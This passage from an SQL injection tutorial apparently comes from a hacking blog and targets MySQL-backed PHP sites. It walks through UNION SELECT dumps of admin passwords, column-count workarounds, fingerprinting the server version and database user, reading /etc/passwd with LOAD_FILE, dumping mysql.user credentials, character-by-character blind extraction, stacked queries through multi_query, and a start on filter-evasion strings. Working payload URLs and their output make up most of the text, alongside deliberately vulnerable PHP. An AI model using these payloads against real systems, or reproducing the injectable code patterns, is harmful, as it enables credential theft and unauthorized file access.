<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>As we can see the $SQL variable is vulnerable and an attacker can inject his own<br />
code into it and then gain interesting information. What happends if via browser we<br />
call this URL: http://www.victim.net/CMS/view.php?id=1 ?</p>
<p>Nothing interesting, just our news with the ID equal to 1, here below:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>How to make this interesting? <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  We can use our UNION SELECT operator, and the<br />
resultant query will be:</p>
<p>select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1</p>
<p>What is gonna happend? Look below:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?<br />
Title:secret</p>
<p>News:<br />
1</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>&#8220;Title: secret&#8221; is the admin password (ID = 1 is the admin in most cases) and the 1 in the &#8220;News:&#8221;<br />
is the admin ID. So, why our output is so strange? This is not strange our tables has been made<br />
in different ways. Just to make things clear look the tables below:</p>
<p>mysql&gt; select * from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| user   | pwd    | id    |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| admin | secret |    1 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| ad     | aaaaa  |    2 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| new   | test    |    5 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select * from news;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id   | title                | texts                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    1 | testing news    | what about SQL Injection? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    2 | testing news 2 | could be bypassed easily?  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Our UNION SELECT query will be:</p>
<p>mysql&gt; select * from news where id = 1 union select * from usr where id = 1;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id      | title              | texts                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 1       | testing news | what about SQL Injection? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| admin | secret          | 1                                   |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Is now clear? We have found the admin password. It&#8217;s great!</p>
<p>Ok, lets go deeper; what happends if we have 2 tables with a different number of<br />
columns? Unfortunaltely UNION SELECT doesn&#8217;t work as show upon. I want to make<br />
2 different examples to help you.</p>
<p>LESS FIELDS<br />
&#8212;&#8212;&#8212;&#8212;</p>
<p>mysql&gt; select * from Anews;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| title               | texts                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| testing news 2 | could be bypassed easily?      |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>mysql&gt; select * from Anews union select * from usr;<br />
ERROR 1222 (21000): The used SELECT statements have a different number of columns</p>
<p>Yes, this is what happends if the UNION SELECT is used and the tables have a different<br />
number of columns. So, what we can do to bypass this?</p>
<p>mysql&gt; select * from Anews union select id, CONCAT_WS(&#8217; &#8211; &#8216;, user, pwd) from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| title          | texts                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                   | admin &#8211; secret                |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 2                  | ad &#8211; aaaaa                      |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 5                 | new &#8211; test                       |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>We bypassed &#8220;the problem&#8221; just using a MySQL function CONCAT_WS (CONCAT can be used too).<br />
Take in mind that different DBMS works in different way. I&#8217;m explaining in a general manner; therefore<br />
sometimes you have to find other ways. <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>MORE FIELDS<br />
&#8212;&#8212;&#8212;&#8212;-</p>
<p>mysql&gt; select * from fnews;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id   | pri   | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
|    1 |    0 | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>What we can do now? Easy, just add a NULL field!!</p>
<p>mysql&gt; select * from fnews union select NULL, id, user, pwd from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id   | pri     | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    1 |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    1 | admin             | secre                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    2 | ad                 | aaaaa                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    5 | new               | test                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Basic Victim Fingerprinting ]</p>
<p>In this part of the paper I&#8217;ll explain some easy, but interesting, ways used while trying to do<br />
information gathering before the Vulnerability Assessment and Penetration Test steps.</p>
<p>This is our scenario: we found a bugged Web Application on the host and we can inject our<br />
SQL code.</p>
<p>So, what we need to know? Could be interesting to know the mysql server version;<br />
maybe it&#8217;s a bugged version and we can exploit it.</p>
<p>How to do that? (I will not use bugged code; I&#8217;ll just make some examples. Use your<br />
mind to understand how to use &#8220;these tips&#8221;)</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id                               | pri     | title                | texts                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                                |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 5.0.22-Debian               | NULL | NULL              | NULL                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Here our mysql version. Also the OS has been putted on the screen <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  (take in mind that<br />
sometimes these information are modified).</p>
<p>Could be interesting to know the server time:</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id                           | pri     | title               | texts                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 1                            |    0   | testing news 2 | could be bypassed easily?  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 2009-02-27 00:03:56 | NULL | NULL              | NULL                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Yes, sometimes is useful to know what is the user used to connect to the database.</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id                  | pri     | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                   |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| omni@localhost | NULL | NULL              | NULL                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>An interesting function implemented in mysql server is LOAD_FILE that, as the<br />
word say, is able to load a file. What we can do with this? gain information and<br />
read files. Here below the query used as example:</p>
<p>select * from news where id=1 union select NULL,NULL,LOAD_FILE(&#8217;/etc/passwd&#8217;) from usr;</p>
<p>This is what my FireFox shows to me:</p>
<p>http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE(&#8217;/etc/password&#8217;)%20from%20usr;</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?<br />
Title:</p>
<p>News:<br />
root:x:0:0:root:/root:/bin/bash<br />
daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br />
bin:x:2:2:bin:/bin:/bin/sh<br />
sys:x:3:3:sys:/dev:/bin/sh<br />
[...]<br />
[output cutted]<br />
[...]</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>Sounds interesting right, don&#8217;t you?</p>
<p>Could be interesting to get some sensitive information such as mysql users and passwords<br />
right? By injecting our code as shown below we can get such that information.</p>
<p>SELECT * FROM news WHERE id=&#8217;1&#8242; UNION SELECT Host, User, Password FROM mysql.user/*&#8217;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Standard Blind SQL Injection ]</p>
<p>SQL Injection and Blind SQL Injection are attacks that are able to exploit a software<br />
vulnerability by injecting sql codes; but the main difference between these attacks<br />
is the method of determination of the vulnerability.</p>
<p>Yes, because in the Blind SQL Injection attacks, attacker will look the results<br />
of his/her requests (with different parameter values) and if these results will return<br />
the same information he/she could obtain some interesting data. (I know, it seems<br />
a bit strange; but between few lines you will understand better).</p>
<p>But why Standard Blind SQL Injection? What does it mean? In this part of the paper<br />
I&#8217;ll explain the basic way to obtain information with Blind SQL Injection without bear<br />
in mind that this type of attacks could be optimized. I don&#8217;t wanna talk about the<br />
methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that -<br />
&#8220;Optimizing the number of requests in blind SQL injection&#8221;).</p>
<p>Ok, let&#8217;s make a step forward and begin talking about Detection of Blind SQL Injection.<br />
To test this vulnerability we have to find a condition that is always true; for example<br />
1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE<br />
condition we don&#8217;t know if our new injected query will be true or false; therefore<br />
we have to make some tests. When the query is true? The query is true when the record<br />
returned contain the correct information. Maybe is a little bit strange this explanation but<br />
to make things clear I wanna let you see an example. Suppose that we requested this<br />
URL:</p>
<p>http://www.victim.net/CMS/view.php?id=1</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>As you can see we have just viewed our first news (id=1). What happends if we request<br />
this other URL: http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?<br />
In our browser we just see the same page because the query is obviously true.<br />
Here below the injected query:</p>
<p>SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1</p>
<p>Now, we (I hope)  have understood what is a Blind SQL Injection; and to understand<br />
better how we can use this, I want to make a simple example/scenario. I&#8217;m thinking that<br />
the web application is connected to MySQL using the user omni; how to know this by using<br />
Blind SQL Injection? Just requesting this URL:</p>
<p>http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost&#8217;</p>
<p>and watch the reply sent on our browser. If in our FireFox (or whatever you want)<br />
we will see the news with ID=1 we know that omni is the user used to connect to<br />
the mysql deamon (because the query is true; and we found the true value to pass<br />
to the query).<br />
Let&#8217;s go deeper. What we can do with Blind SQL? Could be interesting to retrieve<br />
the admin password. How to do that? First of all to understand better the<br />
steps I&#8217;m going to explain we need to know some basic information.</p>
<p>Function used in MySQL:</p>
<p>- ASCII(str)<br />
Returns the numeric value of the leftmost character of the string str.<br />
Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII()<br />
works for 8-bit characters.</p>
<p>mysql&gt; select ascii(&#8217;a');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;A') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         97 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;b');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;b') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         98 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>- ORD(str)</p>
<p>If the leftmost character of the string str is a multi-byte character, returns<br />
the code for that character, calculated from the numeric values of its constituent<br />
bytes using this formula:</p>
<p>(1st byte code)<br />
+ (2nd byte code x 256)<br />
+ (3rd byte code x 2562) &#8230;</p>
<p>If the leftmost character is not a multi-byte character, ORD() returns the same value as<br />
the ASCII() function.</p>
<p>- SUBSTRING(str,pos), SUBSTRING(str  FROM pos),<br />
SUBSTRING(str,pos,len), SUBSTRING(str  FROM pos FOR len)</p>
<p>The forms without a len argument return a substring from string str starting at position pos.<br />
The forms with a len argument return a substring len characters long from string str, starting<br />
at position pos.<br />
The forms that use FROM are standard SQL syntax. It is also possible to use a negative value<br />
for pos. In this case, the beginning of the substring is pos characters from the end of the<br />
string, rather than the beginning.<br />
A negative value may be used for pos in any of the forms of this function.</p>
<p>- SUBSTR(str,pos), SUBSTR(str  FROM pos),<br />
SUBSTR(str,pos,len), SUBSTR(str  FROM pos FOR len)</p>
<p>SUBSTR() is a synonym for SUBSTRING().</p>
<p>mysql&gt; select substring(&#8217;Blind SQL&#8217;, 1, 1);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| substring(&#8217;Blind SQL&#8217;, 1, 1) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| B                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>mysql&gt; select substring(&#8217;Blind SQL&#8217;, 2, 1);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| substring(&#8217;Blind SQL&#8217;, 2, 1) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| l                                   |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>- LOWER(str)</p>
<p>Returns the string str with all characters changed to lowercase according to<br />
the current character set mapping. The default is latin1 (cp1252 West European).</p>
<p>mysql&gt; SELECT LOWER(&#8217;SQL&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| LOWER(&#8217;SQL&#8217;) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| sql               |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>- UPPER(str)</p>
<p>Returns the string str with all characters changed to uppercase according to<br />
the current character set mapping. The default is latin1 (cp1252 West European).</p>
<p>mysql&gt; SELECT UPPER(&#8217;sql&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| UPPER(&#8217;sql&#8217;) |<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| SQL           |<br />
&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Now we have understood the principals MySQL functions that could be used while<br />
trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)</p>
<p>What we need again? Suppose that we know for a moment the admin password: &#8220;secret&#8221;.</p>
<p>mysql&gt; select ascii(&#8217;s&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;s&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        115|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;e');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;e') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        101|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;c');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;c') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         99 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;r');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;r') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        114|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;t');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;t') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        116|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>It&#8217;s time to watch the source code:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>[ ... ]</p>
<p>$SQL = &#8220;select * from news where id=&#8221;.$_GET['id'].&#8221; LIMIT 1&#8243;;</p>
<p>$result = mysql_query($SQL);</p>
<p>if (!$result) {<br />
die(&#8217;Invalid query: &#8216; . mysql_error());<br />
}</p>
<p>[ ... ]</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>Now, try to &#8220;exploit the bug&#8221; by requesting this URL:<br />
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>The query is TRUE (we know that the first letter of the password is &#8217;s&#8217;) and therefore, the query will be:</p>
<p>SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1</p>
<p>What is the number 115? Read upon is the ascii value of the &#8217;s&#8217;. We retrieved the first character<br />
of the password (by using some MySQL functions).</p>
<p>.:. (SELECT pwd FROM usr WHERE id=1) =&gt; SELECT the password of the user with ID=1 (admin)<br />
.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) =&gt; Get the first letter of the password (in this case &#8217;s&#8217;)<br />
.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) =&gt; Get the ASCII code of the first letter (115 in this case)</p>
<p>And how to retrieve the second letter of the password? Just carry out this query:</p>
<p>SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1</p>
<p>by requesting this URL:<br />
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101</p>
<p>The third character? And the others? Just make the same query with the right values.<br />
Take in mind that you can also use the &#8220;greater then&#8221; (&gt;) and &#8220;less then&#8221; (&lt;) symbols<br />
instead of the equal; to find the ASCII letter between a range of letters.<br />
Eg.: between 100 and 116; and so on.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Double Query ]</p>
<p>Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved<br />
Extension) that is an extension allows you to access to the functionality provided<br />
by MySQL 4.1 and above.</p>
<p>I&#8217;ll explain a  very interesting bug that could be very dangerous for the<br />
system. A not properly sanitized variable passed in the method called multi_query of<br />
the mysqli class can be used to perform a &#8220;double&#8221; sql query injection.</p>
<p>mysqli_multi_query (PHP 5) is able to performs one or more queries on the<br />
database selected. The queries executed are concatenated by a semicolon.</p>
<p>Look this example to know what I&#8217;m talking about:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>&lt;?php<br />
$mysqli = new mysqli(&#8221;localhost&#8221;, &#8220;root&#8221;, &#8220;root&#8221;, &#8220;test&#8221;);</p>
<p>if (mysqli_connect_errno()) {<br />
printf(&#8221;Connect failed: %s\n&#8221;, mysqli_connect_error());<br />
exit();<br />
}</p>
<p>$query  = &#8220;SELECT user FROM usr WHERE id =&#8221;. $_GET['id'].&#8221;;&#8221;;<br />
$query .= &#8220;SELECT texts FROM news WHERE id =&#8221;. $_GET['id'];</p>
<p>echo &#8216;UserName: &#8216;;</p>
<p>if ($mysqli-&gt;multi_query($query)) {<br />
do {<br />
/* the first result set */<br />
if ($result = $mysqli-&gt;store_result()) {<br />
while ($row = $result-&gt;fetch_row()) {<br />
echo &#8221; &#8211; &#8221; .$row[0]. &#8220;&lt;br&gt;&#8221; ;<br />
}<br />
$result-&gt;free();<br />
}<br />
/* print divider */<br />
if ($mysqli-&gt;more_results()) {<br />
echo &#8220;/-/-/-/-/-/-/-/-/-/-/-/-/-/&lt;br&gt;&#8221;;<br />
}<br />
} while ($mysqli-&gt;next_result());<br />
}</p>
<p>/* close connection */<br />
$mysqli-&gt;close();<br />
?&gt;</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>If a user request the follow URL:</p>
<p>http://www.victim.net/CMS/multiple.php?id=2</p>
<p>The browser reply with this information:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>UserName: &#8211; ad<br />
/-/-/-/-/-/-/-/-/-/-/-/-/-/<br />
- could be bypassed easily?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>But the source code is bugged. The $query variable is vulnerable because<br />
a user can supply using the GET method, an evil id and can do multiple (evil) queries.</p>
<p>Trying with this request:</p>
<p>http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*</p>
<p>We will obtain the users passwords.</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>UserName: &#8211; ad<br />
/-/-/-/-/-/-/-/-/-/-/-/-/-/<br />
- secret<br />
- adpwd<br />
- test</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Filters Evasion ]</p>
<p>Web Application could implements some input filters that prevent an attacker from<br />
exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application<br />
can use some mechanism that are able to sanitize, block or parse in some ways<br />
user-supply data. This kind of filters could be bypassed by using differents methods,<br />
here I wanna try to give to you some ideas; but certainly one filter differ from<br />
an other one so, you have to try/find different methods to bypass it.</p>
<p>- Imagine that we have to bypass a login form; but the comment symbol is blocked,<br />
we can bypass this issue but injecting this data &#8216; OR &#8216;a&#8217; = &#8216;a instead of &#8216; OR 1 = 1 /*</p>
<p>- The filter try to prevent an SQL Injection by using this kind of Signature: &#8216; or 1=1 (Case-insensitive).<br />
